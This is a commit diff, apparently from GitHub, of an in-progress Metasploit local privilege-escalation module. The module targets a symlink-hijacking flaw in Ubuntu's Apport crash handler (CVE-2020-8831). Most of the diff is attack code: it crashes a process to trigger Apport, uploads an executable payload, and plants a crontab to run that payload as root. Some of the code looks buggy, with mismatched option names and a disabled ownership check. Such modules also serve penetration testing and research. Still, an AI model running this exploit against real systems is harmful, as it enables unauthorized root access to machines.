1
- # Randomness itself is a give away of exploitation
1
+ ##
2
+ # This module requires Metasploit: https://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
2
6
class MetasploitModule < Msf ::Exploit ::Local
3
7
Rank = NormalRanking
4
8
9
+ prepend Msf ::Exploit ::Remote ::AutoCheck
5
10
include Msf ::Post ::Linux ::System
11
+ include Msf ::Post ::Linux ::Kernel
6
12
include Msf ::Post ::File
7
- include Msf ::Post ::File ::FileStat
8
13
9
- # TODO targets in the initialize method and how they work
10
- # TODO other priv esc vectors, startup folders, periodic scripts
14
+ # TODO: targets in the initialize method and how they work
15
+ # TODO other priv esc vectors, startup folders, periodic scripts
11
16
# change name to apport exploit, checking lesser version of apport in check method, are they vunerable?
12
17
def initialize ( info = { } )
13
18
super (
14
19
update_info (
15
20
info ,
16
21
'Name' => 'Apport Symlink Hijacking Privilege Escalation ' ,
17
22
'Description' => %q{
18
- On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable
19
- to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock,
20
- an attacker who can create a symlink to a privileged directory via /var/lock/apport will be
21
- able to create files with global 0777 permissions. This module exploits this weaknes by creating a
22
- symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with
23
+ On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable
24
+ to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock,
25
+ an attacker who can create a symlink to a privileged directory via /var/lock/apport will be
26
+ able to create files with global 0777 permissions. This module exploits this weaknes by creating a
27
+ symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with
23
28
elevated permissions.
24
29
} ,
25
30
'License' => MSF_LICENSE ,
26
- 'Author' => [
27
- 'gardnerapp' # mirageinfosec.cloud
31
+ 'Author' => [
32
+ 'gardnerapp' # mirageinfosec.cloud
28
33
] ,
29
34
'References' => [
30
35
[
31
- 'URL' , 'https://nostarch.com/zero-day' , # pg. 59
32
- 'URL' , 'https://ubuntu.com/security/CVE-2020-8831' ,
33
- 'URL' , 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831'
36
+ 'URL' , 'https://nostarch.com/zero-day' , # pg. 59
37
+ 'URL' , 'https://ubuntu.com/security/CVE-2020-8831' ,
38
+ 'URL' , 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831'
34
39
]
35
40
] ,
36
- 'Platform' => 'linux' ,
41
+ 'Platform' => [ 'linux' ] ,
42
+ 'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
37
43
'Targets' => [
38
44
[
39
45
'Linux_Binary' ,
@@ -45,62 +51,50 @@ def initialize(info = {})
45
51
'Linux_Command' ,
46
52
{
47
53
'Arch' => ARCH_CMD
48
- 'Payload' =>
49
- {
50
- 'BadChars' => "\x22 \x27 "
51
- }
52
54
}
53
55
]
54
56
] ,
55
- 'Payload' => {
56
- 'BadChars' => "\x00 "
57
- } ,
58
57
'Privileged' => false ,
59
58
'DisclosureDate' => '2 April 2020' ,
60
59
'DefaultTarget' => 0 ,
61
60
'Notes' => {
62
61
'Stability' => [ CRASH_SAFE ] ,
63
62
'Reliability' => [ REPEATABLE_SESSION ] ,
64
63
'SideEffects' => [ ARTIFACTS_ON_DISK , IOC_IN_LOGS ]
65
- } ,
64
+ }
66
65
)
67
66
)
68
-
69
- register_options (
67
+ register_options [
70
68
OptString . new ( 'WRITABLE_DIR' , [ true , 'A directory we can write to.' , '/tmp' ] ) ,
71
69
OptString . new ( 'PAYLOAD_FILENAME' , [ true , 'Name of payload' , Rex ::Text . rand_text_alpha ( rand ( 8 ..12 ) ) ] ) ,
72
70
OptString . new ( 'CRON_FILENAME' , [ true , 'Name of the cron file' , Rex ::Text . rand_text_alpha ( rand ( 8 ..12 ) ) ] ) ,
73
71
OptString . new ( 'CRON_INTERVAL' , [ true , 'Specify how often the Cron should run. Default is every minute.' , '* * * * *' ] )
74
- )
72
+ ]
75
73
end
76
74
77
75
def check
78
- return CheckCode ::Safe ( 'Platform is not Linux' ) unless session . platform == 'linux'
79
-
80
- return CheckCode ::Safe ( 'Target is not Ubuntu' ) unless kernel_version =~ /[uU]buntu/
76
+ return CheckCode ::Safe ( 'Platform is not Linux' ) unless session . platform == 'linux'
81
77
82
- sys_info = get_sysinfo
83
- puts system_info
78
+ # Check apport version
79
+ if !command_exists? ( 'apport-cli' )
80
+ return CheckCode ::Safe ( 'apport-cli does not appear to be installed or in the $PATH' )
81
+ end
84
82
85
- distro = sysinfo [ :distro ]
86
- puts distro
87
- version = sysinfo [ :version ]
88
- puts system_info
83
+ apport = cmd_exec ( 'apport-cli --version' ) . to_s
89
84
90
- # Check apport version
91
- if !command_exists? ( 'apport-cli' )
92
- return CheckCode ::Safe ( 'apport-cli does not appear to be installed or in the $PATH' )
93
- end
85
+ return CheckCode ::Detected ( 'Unable to determine apport version' ) if apport . blank?
94
86
95
- apport = cmd_exec ( 'apport-cli --version' ) . to_s
87
+ # todo determine if prior versions of apport which are NOT vulnerable
88
+ apport_version = Rex ::Version . new ( apport . split ( '-' ) . first )
96
89
97
- return CheckCode :: Detected ( 'Unable to determine apport version' ) if apport . blank?
90
+ vulnerable_version = Rex :: Version . new ( '2.20.11' )
98
91
99
- version = Rex ::Version . new ( apport . split ( '-' ) . first )
92
+ if apport_version == vulnerable_version
93
+ vprint_good ( "Apport appears to be vulnerable." )
94
+ return CheckCode ::Appears
95
+ end
100
96
101
- vulnerable = Rex ::Version . new '2.20'
102
- # Were there prior versions of apport which are NOT vulnerableii
103
- # if version < vulnerable return bad
97
+ CheckCode ::Safe
104
98
end
105
99
106
100
# hijack symlink by creating apport crash
@@ -113,30 +107,32 @@ def hijack_apport
113
107
cmd_exec 'sleep 10s & kill -11 $!'
114
108
115
109
# need method for seeing if file is owned by root and combine with and gate
110
+ # TODO want to check if file is root owned to ensure exploit workedd
116
111
# if uid method does not work remove Msf::Post::File::FileStat
117
- if !writable? ( '/etc/crontab/lock' ) || uid ( '/etc/crontab/lock' ) != 0
118
- fail_with ( Failue ::NotFound , 'Exploit was unable to create a crontab owned by root.' )
112
+ #puts "uid(/etc/crontab/lock) #{uid('/etc/crontab/lock')}"
113
+ if !writable? ( '/etc/crontab/lock' ) #|| uid('/etc/crontab/lock') != 0
114
+ fail_with ( Failure ::NotFound , 'Exploit was unable to create a crontab owned by root.' )
119
115
end
120
- end
116
+ end
121
117
122
- def write_payload
123
- print_status 'Uploading payload'
118
+ def write_payload
119
+ print_status 'Uploading payload'
124
120
125
- pay_dir = datastore [ 'WritableDir' ]
121
+ pay_dir = datastore [ 'WritableDir' ]
126
122
127
- pay_dir += '/' unless pay_dir . ends_with? '/'
123
+ pay_dir += '/' unless pay_dir . ends_with? '/'
128
124
129
- pay_file = datastore [ 'PayloadFilename' ]
125
+ pay_file = datastore [ 'PayloadFilename' ]
130
126
131
- @pay_dest = "#{ pay_dir } #{ pay_file } "
127
+ @pay_dest = "#{ pay_dir } #{ pay_file } "
132
128
133
129
# create the payload
134
130
if target . arch . first == ARCH_CMD
135
131
payload = payload . encoded
136
132
upload_and_chmodx pay_dest , payload
137
- else
133
+ else
138
134
upload_and_chmodx pay_dest , generate_payload_exe
139
- end
135
+ end
140
136
end
141
137
142
138
def write_cron
@@ -152,4 +148,4 @@ def exploit
152
148
153
149
write_cron
154
150
end
155
- end
151
+ end
0 commit comments